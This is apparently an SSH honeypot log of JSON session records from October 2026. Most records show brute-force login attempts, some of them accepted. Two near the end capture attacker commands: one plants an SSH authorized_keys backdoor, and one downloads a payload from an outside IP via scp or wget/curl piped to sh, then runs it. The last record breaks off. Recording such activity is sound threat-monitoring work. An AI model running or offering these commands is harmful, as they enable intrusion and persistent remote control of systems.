Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anling
{
"id": "a15420ac384f",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:25:27.108812Z",
"end_time": "2026-10-14T05:25:38.940537Z",
"duration": "11.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "anling",
"pass": "elrond"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user69
{
"id": "60ff03fe3b71",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:25:21.048780Z",
"end_time": "2026-10-14T05:25:30.685770Z",
"duration": "9.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user69",
"pass": "admins"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: john
{
"id": "c9e90bbd8c3e",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:25:14.723428Z",
"end_time": "2026-10-14T05:25:22.995448Z",
"duration": "8.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "john",
"pass": "vncuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: unl0
{
"id": "6dd966ad9182",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:25:08.298261Z",
"end_time": "2026-10-14T05:25:15.177632Z",
"duration": "6.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "unl0",
"pass": "cupcake"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: terry
{
"id": "16c5b7c67e45",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:25:02.754782Z",
"end_time": "2026-10-14T05:25:07.983020Z",
"duration": "5.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "terry",
"pass": "sysadmin"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test-realm-svc
{
"id": "df55ff860448",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:54.660267Z",
"end_time": "2026-10-14T05:25:02.385525Z",
"duration": "7.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "test-realm-svc",
"pass": "123456qq@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: huangzhijun
{
"id": "7ac2a09c1989",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:47.779943Z",
"end_time": "2026-10-14T05:24:55.450176Z",
"duration": "7.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "huangzhijun",
"pass": "Pa713267w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: jaydin
{
"id": "5d49a016bcdd",
"src_ip": "2.57.121.112",
"start_time": "2026-10-14T05:24:46.792465Z",
"end_time": "2026-10-14T05:24:53.302094Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "jaydin",
"pass": "jaydin"
},
{
"user": "jaydin",
"pass": "jaydin1"
},
{
"user": "jaydin",
"pass": "jaydin123"
},
{
"user": "jaydin",
"pass": "jaydin1234"
},
{
"user": "jaydin",
"pass": "jaydin12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s8stephane
{
"id": "9886f42987dc",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:41.008621Z",
"end_time": "2026-10-14T05:24:48.008504Z",
"duration": "7.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s8stephane",
"pass": "arma3server"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: peter
{
"id": "5520524be333",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:34.441119Z",
"end_time": "2026-10-14T05:24:40.794318Z",
"duration": "6.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "peter",
"pass": "Hello1234!"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jelx_uk_usr
{
"id": "f27238db79ff",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:27.840646Z",
"end_time": "2026-10-14T05:24:32.883177Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "jelx_uk_usr",
"pass": "1234567890"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: liuxiaozhou
{
"id": "1e8de3107a01",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:19.968488Z",
"end_time": "2026-10-14T05:24:27.155860Z",
"duration": "7.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "liuxiaozhou",
"pass": "Admin@123."
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user87
{
"id": "c362fb96f59d",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:13.273634Z",
"end_time": "2026-10-14T05:24:21.336125Z",
"duration": "8.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user87",
"pass": "LeitboGi0ro"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10jeff
{
"id": "7cec119da6cc",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:24:06.818652Z",
"end_time": "2026-10-14T05:24:14.686795Z",
"duration": "7.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10jeff",
"pass": "wang"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: svn
{
"id": "997684ff07a8",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:59.816983Z",
"end_time": "2026-10-14T05:24:09.140528Z",
"duration": "9.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "svn",
"pass": "orca"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: us44
{
"id": "26ca3bfde784",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:53.364962Z",
"end_time": "2026-10-14T05:24:02.215013Z",
"duration": "8.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "us44",
"pass": "abigail"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hestiaweb
{
"id": "7b4beb04f0c1",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:45.155920Z",
"end_time": "2026-10-14T05:23:55.557296Z",
"duration": "10.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hestiaweb",
"pass": "yarn"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pey5
{
"id": "92f9478ec8ee",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:39.493432Z",
"end_time": "2026-10-14T05:23:50.082989Z",
"duration": "10.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pey5",
"pass": "apollo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: joakima
{
"id": "1d74e2dcaf6e",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:32.520178Z",
"end_time": "2026-10-14T05:23:41.919641Z",
"duration": "9.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "joakima",
"pass": "tirex"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: veeranarayana
{
"id": "566caaf03bc9",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:26.145792Z",
"end_time": "2026-10-14T05:23:35.215007Z",
"duration": "9.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "veeranarayana",
"pass": "sxl1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gl12
{
"id": "d6d78d486b5e",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:19.441164Z",
"end_time": "2026-10-14T05:23:27.019260Z",
"duration": "7.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "gl12",
"pass": "adrian140489g"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yitadmin
{
"id": "d177b324427e",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:13.260974Z",
"end_time": "2026-10-14T05:23:20.105757Z",
"duration": "6.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "yitadmin",
"pass": "manoj123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs206
{
"id": "22e3c3c29f6a",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:23:05.793481Z",
"end_time": "2026-10-14T05:23:12.224094Z",
"duration": "6.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs206",
"pass": "Pa395384w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: viktor
{
"id": "340f9fd220c0",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:22:58.301633Z",
"end_time": "2026-10-14T05:23:01.586769Z",
"duration": "3.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "viktor",
"pass": "data@123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / abcabc123321
{
"id": "7e9119bda115",
"src_ip": "130.12.182.224",
"start_time": "2026-10-14T05:22:36.758823Z",
"end_time": "2026-10-14T05:22:38.003947Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "abcabc123321"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "004d45592fcd",
"src_ip": "15.235.192.186",
"start_time": "2026-10-14T05:22:12.300959Z",
"end_time": "2026-10-14T05:22:13.475257Z",
"duration": "1.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "1a2372914d18",
"src_ip": "15.235.192.186",
"start_time": "2026-10-14T05:22:09.953522Z",
"end_time": "2026-10-14T05:22:12.106071Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / abc123!!
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "72188dc86817",
"src_ip": "15.235.192.186",
"start_time": "2026-10-14T05:22:07.435337Z",
"end_time": "2026-10-14T05:22:13.478487Z",
"duration": "6.0",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "abc123!!"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "1c91a602f408",
"src_ip": "109.160.32.115",
"start_time": "2026-10-14T05:21:53.692100Z",
"end_time": "2026-10-14T05:22:01.691702Z",
"duration": "8.0",
"version": "SSH-2.0-Go",
"hassh": "084386fa7ae5039bcf6f07298a05a227",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: server
{
"id": "2af889c3a249",
"src_ip": "180.93.172.213",
"start_time": "2026-10-14T05:20:53.023054Z",
"end_time": "2026-10-14T05:20:55.300994Z",
"duration": "2.3",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "server",
"pass": "P@ssword123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "7a77459ab646",
"src_ip": "176.53.159.196",
"start_time": "2026-10-14T05:17:07.603587Z",
"end_time": "2026-10-14T05:17:08.761194Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: router
{
"id": "afcae4622c10",
"src_ip": "130.12.181.21",
"start_time": "2026-10-14T05:15:51.538962Z",
"end_time": "2026-10-14T05:15:53.456085Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "router",
"pass": "admin!@#"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gcp
{
"id": "bb5be706fccb",
"src_ip": "130.12.182.224",
"start_time": "2026-10-14T05:12:44.225685Z",
"end_time": "2026-10-14T05:12:46.121550Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "gcp",
"pass": "git123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / Welcome1
{
"id": "adddc7a24537",
"src_ip": "193.46.255.86",
"start_time": "2026-10-14T05:11:44.479877Z",
"end_time": "2026-10-14T05:11:50.483792Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "Welcome1"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "65d933fae234",
"src_ip": "205.210.31.255",
"start_time": "2026-10-14T05:07:15.902210Z",
"end_time": "2026-10-14T05:07:17.789810Z",
"duration": "1.9",
"version": "SSH-2.0-ZGrab ZGrab SSH Survey",
"hassh": "dd9bcf093c355da7000132131cb36fd0",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "f05ed3ad94f8",
"src_ip": "102.220.161.27",
"start_time": "2026-10-14T05:00:40.020559Z",
"end_time": "2026-10-14T05:00:40.026347Z",
"duration": "0.0",
"version": "CONNECT 102.220.161.27:80 HTTP/1.0",
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / P@$$w0rd0001
{
"id": "bccb22b1e2a5",
"src_ip": "130.12.181.21",
"start_time": "2026-10-14T04:53:41.442335Z",
"end_time": "2026-10-14T04:53:42.699873Z",
"duration": "1.3",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "P@$$w0rd0001"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vbox
{
"id": "6632a937c28e",
"src_ip": "102.220.161.84",
"start_time": "2026-10-14T04:45:13.503960Z",
"end_time": "2026-10-14T04:45:15.717844Z",
"duration": "2.2",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "vbox",
"pass": "wwwlogs"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "779985ccdd3c",
"src_ip": "176.53.159.196",
"start_time": "2026-10-14T04:44:23.622337Z",
"end_time": "2026-10-14T04:44:24.776732Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sem6
{
"id": "5e44bda956a2",
"src_ip": "130.12.182.224",
"start_time": "2026-10-14T04:35:13.230338Z",
"end_time": "2026-10-14T04:35:15.140033Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "sem6",
"pass": "123123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "0115184240f7",
"src_ip": "198.235.24.243",
"start_time": "2026-10-14T04:30:15.679210Z",
"end_time": "2026-10-14T04:30:15.841145Z",
"duration": "0.2",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: root / synergy
{
"id": "0ef857232952",
"src_ip": "130.12.182.224",
"start_time": "2026-10-14T04:28:26.419388Z",
"end_time": "2026-10-14T04:28:27.673435Z",
"duration": "1.3",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "synergy"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gokul
{
"id": "ca60fde767c7",
"src_ip": "130.12.182.224",
"start_time": "2026-10-14T04:25:35.076998Z",
"end_time": "2026-10-14T04:25:36.985106Z",
"duration": "1.9",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [
{
"user": "gokul",
"pass": "phuvanduc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / rainbow99
{
"id": "3eba58c30d2e",
"src_ip": "130.12.181.21",
"start_time": "2026-10-14T04:25:02.443081Z",
"end_time": "2026-10-14T04:25:03.711919Z",
"duration": "1.3",
"version": "SSH-2.0-libssh_0.12.0",
"hassh": "a591c4ddccc960a2da8099958270fc92",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "rainbow99"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / ally
{
"id": "569b7d9c1862",
"src_ip": "2.57.121.25",
"start_time": "2026-10-14T04:23:11.955423Z",
"end_time": "2026-10-14T04:23:17.965003Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "ally"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e645aa02ef79",
"src_ip": "130.12.180.51",
"start_time": "2026-10-14T04:20:54.114176Z",
"end_time": "2026-10-14T04:20:56.278852Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "16443846184eafde36765c9bab2f4397",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [
"uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -s -F sshcfg -i key.ppk dlr@217.60.102.5:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk https://217.60.102.5/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
],
"detailed_commands": [
{
